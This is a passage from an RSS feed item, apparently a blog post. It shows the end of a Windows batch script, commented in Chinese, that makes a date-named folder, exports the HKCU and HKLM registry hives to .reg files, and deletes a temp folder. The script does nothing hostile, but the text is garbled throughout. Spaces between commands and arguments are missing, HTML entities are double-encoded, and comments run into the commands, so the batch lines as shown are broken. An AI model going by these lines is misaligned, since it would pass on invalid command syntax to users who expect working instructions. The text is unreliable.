　　echomove&#38;#34;%regfile%&#38;#34;temp&#62;4.bat//写移动&#8220;当天date命名的目录&#8221;到temp的bat文件。
　　md&#38;#34;%regfile%&#38;#34;//建当天date命名的目录
　　cd&#38;#34;%regfile%&#38;#34;//进入
　　regexporthkcuhkcu.reg//导出注册表
　　regexporthklmhklm.reg
　　//HKEY_CURRENT_USER缩写hkcu。存放当前用户个人数据
　　//HKEY_LOCAL_MACHINE缩写hklm。系统的核心数据
　　cd..
　　deltree/ytemp&#62;nul////返回上级目录，删temp文件夹
　　:end
&#160;
&#160;

]]></description>
		<wfw:commentRss>http://blog.ghitr.com/index.php/archives/38/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
